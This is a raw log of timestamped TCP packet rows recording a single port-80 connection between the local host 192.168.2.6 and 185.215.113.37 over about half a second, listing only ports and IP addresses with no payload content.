Oct 25, 2024 13:50:09.815068960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815078020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.815119982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815129042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.815165043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.815175056 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815200090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.815207005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815246105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815999031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816046000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.816050053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816085100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816092014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.816118956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816129923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.816159010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816163063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.816200972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.816919088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816972971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.816975117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817015886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817024946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.817060947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.817066908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817095995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.817101955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817142963 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817862988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.817912102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817914009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.817958117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.817965984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818001986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818016052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.818037033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818042994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.818080902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.818871021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818924904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818929911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.818960905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.818969011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.818994999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819009066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819034100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819045067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819073915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819753885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819803953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819808006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819839954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819848061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819875002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819892883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819911003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.819916010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.819953918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.820683002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.820735931 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.820734978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.820775986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.820785999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.820821047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.820825100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.820854902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.820863962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.820902109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.821691036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.821738005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.821818113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.821870089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.821870089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.821911097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.821922064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.821958065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.821966887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.821993113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.822002888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.822040081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.822861910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.822905064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.822912931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.822947979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.822959900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.822982073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.822993040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823016882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823028088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823060036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823731899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823765993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823779106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823807955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823817968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823852062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823884964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.823892117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823892117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.823932886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.824671030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.824703932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.824719906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.824745893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.824757099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.824790001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.824803114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.824825048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.824834108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.824871063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825359106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825407982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825408936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825443029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825453043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825478077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825488091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825514078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825516939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825547934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.825556993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.825591087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826076984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826111078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826127052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826148987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826241016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826275110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826287031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826317072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826327085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826360941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826373100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826401949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826415062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826448917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826462984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826491117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826494932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826524973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826534986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826560974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.826565027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.826602936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827187061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827220917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827234030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827263117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827271938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827306032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827327013 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827353001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827382088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827415943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827425003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827450037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827457905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827486038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827497005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827522039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.827528000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.827564001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.828026056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.828072071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.828114033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.828159094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853216887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853296995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853312969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853364944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853365898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853404045 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853410006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853447914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853454113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853487968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853497028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853523016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853529930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853558064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853569031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853600979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853610039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853642941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.853655100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.853687048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931190014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931230068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931266069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931310892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931337118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931353092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931370974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931380033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931406021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931421995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931441069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.931452036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.931487083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.934086084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.934118986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.934144974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.934155941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.934168100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.934196949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970431089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970652103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970673084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970702887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970705986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970756054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970766068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970786095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970799923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970818996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970853090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970853090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970873117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970886946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970915079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970922947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970948935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970954895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.970985889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.970990896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.971020937 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.971020937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.971054077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.971055984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.971065044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.971138954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.017059088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.017091990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.017138004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.017174006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048423052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048537970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048587084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048619986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048635006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048655033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048660994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048688889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048707962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048722982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.048732996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.048764944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.051593065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.051626921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.051654100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.051661968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.051662922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.051709890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.087898016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.087955952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.087960958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088002920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088006973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088040113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088059902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088085890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088092089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088125944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088134050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088160038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088166952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088192940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088203907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088227034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088237047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088262081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088274002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088296890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088304996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088330984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.088339090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.088373899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.165888071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.165945053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.165998936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166001081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166032076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166047096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166065931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166100025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166134119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166167021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166202068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.166229010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166229010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166229010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166229010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.166265965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.168773890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.168827057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.168847084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.168857098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.168874979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.168890953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.168904066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.168936968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205220938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205343008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205437899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205487967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205522060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205557108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205581903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205581903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205581903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205593109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205600977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205637932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205643892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205677986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205684900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205710888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205718994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205746889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205753088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205776930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205790997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205820084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205828905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205863953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205869913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205897093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.205909014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.205945969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:10.283499956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283554077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:10.283579111 CEST	49712	80	192.168.2.6	185.215.113.37
